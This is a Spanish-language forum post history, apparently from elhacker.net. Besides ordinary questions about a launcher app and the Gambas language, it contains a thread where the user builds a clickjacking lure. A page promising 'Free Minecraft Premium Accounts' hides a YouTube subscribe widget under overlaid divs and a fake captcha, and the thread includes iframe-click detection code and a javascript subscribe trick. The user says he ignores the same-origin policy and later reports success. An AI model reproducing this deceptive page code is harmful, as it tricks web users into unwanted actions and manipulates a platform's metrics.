Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - z3nth10n

#2061
Hola amigos, pues bien, mude el post este aquí:

http://foro.elhacker.net/scripting/como_puedo_hacer_un_launcher_asi_con_vbs_o_con_html_decidme-t377992.0.html

Y bien, pues vamos a empezar, lo primero que quiero hacer es una portada para mi Launcher... El caso que lo quiero hacer algo así:



Básicamente lo tiene todo o casi todo, tambien quiero hacer una app tipo Steam, no me refiero a todo lo que tiene si no al diseño...

Ya me estuvo explicando Elektro H sobre todo esto:

Citarhombre, para empezar Steam está desarrollado en C++, así que olvídate de hacer algo clavadito, aquí en .NET usas los controles del Framework.
Y el desarrollo de la aplicación de Steam y de cualquier otro programa parecido lo llevan un grupo de 10-20 tios trabajando a piñón... así que no te hags muchas ilusiones.

Para crear controles personalizados con estilos tienes que usar GDI (son classes dle framework), tienes que heredar el contorl nativo y retocarlo a tu gusto.
No vas a poder hacer eso, te lo digo con total sinceridad, hay que saber manejar .NET más de lo básico para crear un control personalizado con estilos y hacerle pirulas.

Puedes hacerlo a lo noob, usando controles de terceros que tengan alguna propiedad visual (themes) y que tengan algún theme oscuro con un pequeño degradado como el de steam.

De todas formas, lo que preguntas es increible, tienes el source del programa para ver como lo he hecho, no era necesario preguntar, ahí verás los controles que uso y como le he dado el degradado.

Sobre lo de como hace la actualización Steam, ¿Como quieres que lo sepa? xD, steam no es libre, no hay source, no puedo saberlo, pero imagino que lo que debe hacer es comprobar la versión interna de "X" archivo en las propiedades de ese "X" archivo, compararla, y descargar la nueva versión de los múltiples servidores de steam, o también podría hacerlo desde un archivo .inf donde ponga la última versión que ha sido instalada y compararla con la versión del server... o comparar en una clave del registro la versión actual del producto y comparar... en fín, hay mil formas.

Pero prefiero que me vayais explicando poco a poco como poria hacer una app así...

La primera duda, como podria hacer un form sin color, para que pudiese poner esas transparencias y todo eso...

Sobre todo, voy a hacer un post en diseño grafico para pedir ayuda sobre las imagenes...

Pues bien una vez puesta esta duda, tengo otra duda:



Hay está como lo podria hacer, una de las maneras, pero no tengo ni idea de como furula esa app, si se actualiza manualmente, o funciona junto MySql y se actualiza cuando Elektro H lo cambia, como furula?

Decidme todo esot, gracias.

Un saludo.  ;)
#2062
Desarrollo Web / Re: Hacer un Div "Falso"
23 Febrero 2013, 10:29 AM
Cita de: drvy | BSM en 23 Febrero 2013, 03:04 AM
Supongo que te refieres a este tema:
http://foro.elhacker.net/desarrollo_web/auto_suscripcion_sin_confirmacion_en_youtube_ayuda-t383830.0.html

Un par de cosas.

1. La política del mismo origen que has leído: No la aplicas tu, la aplica el navegador. Por mucho que seas "fuera de ley", no eres tu el que manda sino el navegador :P

2. Interactuar con un div, es sencillo. Con jQuery puedes hacer,

Código (javascript) [Seleccionar]
$('#elemento_clickeable').on('click','body',function(){
$('#elemento_oculto').click();
});


Sin embargo, si el elemento esta en iframe externo o ventana externa (fuera de tu dominio), el navegador te lo impedirá de cualquier forma.

Saludos

Ah vale, ya veo... Pero iglamente, aunque ponga subscribe, puedo hacer una cosilla...

Una captacha que ponga 2+2

Tu tengas que poner 4 y luego que le tengas que dar a Subcribe xD
Y luego cuando hagas un click en el frame que te redireccione a otra web... Pero si intentas acceder a esa web sin anter haber pasado por aquí te redireccione a la "web madre" que seria algo así:

http://kekomundo.com/foro/index.php?topic=66142.0

(Todos estos tutos ya me lo he repateado como 100 veces y los tengo hechos por algun lado de un FT de eshost) xD

No hay ninguna forma de camuflar 100x100 ese subscribe y que ponga otra cosa?




Ya lo he estado intentando de todas formas posibles, pero nada mira lo que hice:


<a href="http://sub4sub.22web.org/privada.php" style="display:block; z-index:10;"><iframe id="marco" src="http://www.youtube.com/subscribe_widget?p=willyrex" style="overflow: hidden; height: 105px; width: 300px; border: 0; z-index:1;" scrolling="no" frameBorder="0"></iframe>
</iframe></a>


Pero nada :(




He usado este codigo: http://stackoverflow.com/questions/2381336/detect-click-into-iframe-using-javascript#3031763

Pero no se carga el iframe :P




No se nada de Jquery, pero por probar hice esto:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<title>Detect IFrame Clicks</title>
<script src="http://code.jquery.com/jquery-1.9.0.js"></script>
<script type="text/javascript">
$(document).ready(function() {
window.frames['#test']).click(function(event){  
var url = "http://stackoverflow.com";    
$(location).attr('href',url); }
});
</script>
</head>
<body>
<iframe id="test" width="100%" height="400" src="http://google.com" ></iframe>
<div id="result"></div>
</body>
</html>


Pero nada... :S




Lo tengo casi todo hecho aquí: http://sub4sub.22web.org/

El problema, que quiero meter la accion del input dentro del iframe...

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<title>Free Minecraft Premium Accounts!</title>

<script src="http://code.jquery.com/jquery-1.9.0.js"></script>

<style>
body {font-family:Arial;}
</style>
<script type="text/javascript">
   $(document).ready(function() {
       var isOverIFrame = false;

       function processMouseOut() {
           log("IFrame mouse >> OUT << detected.");
           isOverIFrame = false;
           top.focus();
       }

       function processMouseOver() {
           log("IFrame mouse >> OVER << detected.");
           isOverIFrame = true;
       }

       function processIFrameClick() {
           if(isOverIFrame) {
setTimeout(function() {
 $("#test").removeAttr("disabled");
 $('#marco').hide('slow');
}, 1000);
               log("IFrame >> CLICK << detected. ");
           }
       }

       function log(message) {
           var console = document.getElementById("console");
           var text = console.value;
           text = text + message + "\n";
           console.value = text;
       }

       function attachOnloadEvent(func, obj) {
           if(typeof window.addEventListener != 'undefined') {
               window.addEventListener('load', func, false);
           } else if (typeof document.addEventListener != 'undefined') {
               document.addEventListener('load', func, false);
           } else if (typeof window.attachEvent != 'undefined') {
               window.attachEvent('onload', func);
           } else {
               if (typeof window.onload == 'function') {
                   var oldonload = onload;
                   window.onload = function() {
                       oldonload();
                       func();
                   };
               } else {
                   window.onload = func;
               }
           }
       }

       function init() {
           var element = document.getElementsByTagName("iframe");
           for (var i=0; i<element.length; i++) {
               element[i].onmouseover = processMouseOver;
               element[i].onmouseout = processMouseOut;
           }
           if (typeof window.attachEvent != 'undefined') {
               top.attachEvent('onblur', processIFrameClick);
           }
           else if (typeof window.addEventListener != 'undefined') {
               top.addEventListener('blur', processIFrameClick, false);
           }
       }

       attachOnloadEvent(init);
   });
</script>

</head>

<body>



¡Bienvenido! Aqu&iacute; podr&aacute;s conseguir una cuenta premium en f&aacute;ciles pasos, pulsa el siguiente bot&oacute;n para continuar:
<br><br>

<center><h1>1er paso.- Responde esta pregunta:</h1>
<br>

<div style="position:relative; top:-60px;">
<div style="width: 298px; height: 58px; position:relative; top: 101px; left: 45px; background:#fff; border:1px #000 solid; z-index:1;"></div>
<div style="width: 210px; height: 41px; position:relative; left: 89px; top: 100px; border:1px #0000ff solid; background: #fff;z-index:3;"></div>
<iframe id="marco" src="http://www.youtube.com/subscribe_widget?p=willyrex" style="overflow: hidden; height: 105px; width: 300px; border: 0; position:relative; left:45px; z-index:0;" scrolling="no" frameborder="0"></iframe></div>

<br></br>
<br></br>

<form method="post" action="test.php">
<img src="captcha.php" width="100" height="30"><br>

<input type="text" name="pass">

<input type="submit" name="login" value="Login" />

</form>

</center>


<input type="button" id="test" value="test" disabled="disabled" />

<form name="form" id="form" action="" style="display:none;"><textarea name="console"
id="console" style="width: 100%; height: 300px;" cols="" rows=""></textarea>
<button name="clear" id="clear" type="reset">Clear</button>
</form>



</body>

</html>





Vale, le hice unas modificaciones pero nada, cuando le doy a suscribe, se va directamente a la web y no chekea nada...  :¬¬




SOLUCIONADOOOO! :P




Ahora neceisto complementar el archivo verificar.php con el de catpcha.php...
Tengo uno puesto con test.php

<?php

session_start
();

if (
$_POST['action'] == "checkdata") {

if ($_SESSION['tmptxt'] == $_POST['tmptxt']) {

header('Location: privada.php');

} else {

?>

<script type="text/javascript">
<!--
window.alert('La contraseña no es correcta');
history.go(-1);
//-->
</script>
<?php

}

exit;

}

?>


Y luego una privada.php

<?php

//  *****************************

//  Sistema de Login Simple con PHP

//  © Cristian Ospina

//  Archivo: privada.php

//  *****************************

// Verificamo que si estes Logueado.

 
session_start(); require 'test.php';

?>


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title>sección Privada</title>

</head>

<body>

Si te Entraste correctamente, Podrás ver esto !

</body>

</html>


El problema es que si pones: http://sub4sub.22web.org/privada.php

Pero no hace nada... A ver si me puedes ayudar...  ;)
#2063
Desarrollo Web / Hacer un Div "Falso"
22 Febrero 2013, 21:16 PM
Hola amigos, pues bien lo que quiero hacer es simple: Tengo un div, y quiero que cuando haga click en este, haga click en lo que haya debajo, no en lo que hay...

Hay alguna forma? Un saludo.  :P
#2064
Hola amigos, pues bien estoy haciendo una pagina web y bueno, necesito un link para suscribirse a mi canal, y encontre esto

http://youtube.com/subscription_center?add_user=usuario

Lo unico que si poneis el nombre de usuario, os va apedir confirmacion, que será:

http://www.youtube.com/usuario?sub_confirmation=1

Pero es una ventana de Ajax con el boton de Subscribirse....

No hay ninguna forma con algun lenguaje de programacion HTML poder interactuar con un iframe, para que haga click en un boton, o algun link o algo?

Si no se puede de esa forma, hay otro widget, pero no furula cuando dices de carle a suscribirse...

Os conoceis mas links para poder auto suscribiros sin tener que hacer ninguna confirmacion?

Un saludo.




Ya me he leido esto: http://es.wikipedia.org/wiki/Pol%C3%ADtica_del_mismo_origen

Pero, como soy un fuera de la ley me la suda un poco xD Basicamente, he visto que si os meteis aquí:

http://www.youtube.com/subscribe_widget?p=willyrex (He puesto a willyrex como tamben podria haber puesto a pepitoelpalos)

Y luego poneis en la barra de direcciones: javascript:controller.subscribe(null);

Magia! Os autosubscribis, pero, ya he probado esto:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script>
function changeSrc()
{
document.getElementById("marco").src="javascript:controller.subscribe(null);";
}
</script>
</head>
<body>

<iframe id="marco"  src="http://www.youtube.com/subscribe_widget?p=willyrex" style="overflow: hidden; height: 105px; width: 300px; border: 0;" scrolling="no" frameBorder="0"></iframe>
</iframe>
<br><br>

<input type="button" onclick="changeSrc()" value="Suscribirse">

</body>
</html>


Pero, no fusca, he probado todo y nada... No hay ningna forma?

También he estado buscando de hacer click en un boton de un iframe haciendo click en otro boton, pero nada de nada...
También se podría camuflar el boton del iframe y que cuando le dieses click a ese boton se te redireccionase a otro sitio... pero ni pi de como hacerlo idea...

Un saludo.
#2065
Cita de: jsbsan en 21 Febrero 2013, 10:32 AM
Si, existe gambas.

Puedes descargartelo gratis en:

http://gambas.sourceforge.net/en/main.html

o mediante ppa
http://cursogambas.blogspot.com.es/2012/08/instalacion-desde-repositorios-del.html


Y tambien existe un foro en español muy activo:

http://www.gambas-es.org/forum.php


Y un curso en español:
http://www.cursogambas.blogspot.com.es/p/indice.html

Saludos

Anormal, has revivido un tema de más de 8 años... La que te va a caer...
#2066
Emular = poder jugar o interactuar con el dentro de un Form,

lo que si se puede hacer es un Navigate y crear un archivo HTML en alguna carpeta de la app y depende del formato se utiliza un código fuente distinto u otro. Pero claro, para eso necesito saber como (los formatos ya os tengo hechos, lo unico que si se ejecuta Java, tiene un monton de classes para ejecutar el jar, asi que de eso me olvidaré)

Un saludo.
#2067
Y por ejemplo, pueen haber links que quiera ocultar qu e estaria dentro del src de cada iframe, como lo podria hacer para que no salgan en la busqueda? :P
#2068
Hola amigos, pues lo primero que no se si se puede emular en algún campo un archivo Unity (no se si hay alguna API), me he roto la cabeza buscando apis y nada  :¬¬

Luego, quiero emular un archivo .html o .htm, un .jar (o .java o .class), o .swf, o .unity3d en un mismo capo (Objecto OLEm o lo que sea), como lo podría hacer?

Un saludo, seguiré buscando pero dudo que encuentre algo...  :¬¬
#2069
Joder que sencillo, usa Firefox e iMacros, perfecto para hacer un bot para trolear, tu karma deberia ser de Troll xD
#2070
Todavia no tengo el proyecto en mis manos, estoy desde otro ordenador...

aplicado a lo que yo quiero hacer... si busco src="...; me va a salir los src de imgs, y yo estoy interesado por los de iframe...

Pero si busco <iframe src="...; pero puede venir definido asi o puede venir definido así: <iframe algoqueinterfiereenlabuqueda src="...; entonces, no va salir nada en esa busqueda...  :silbar: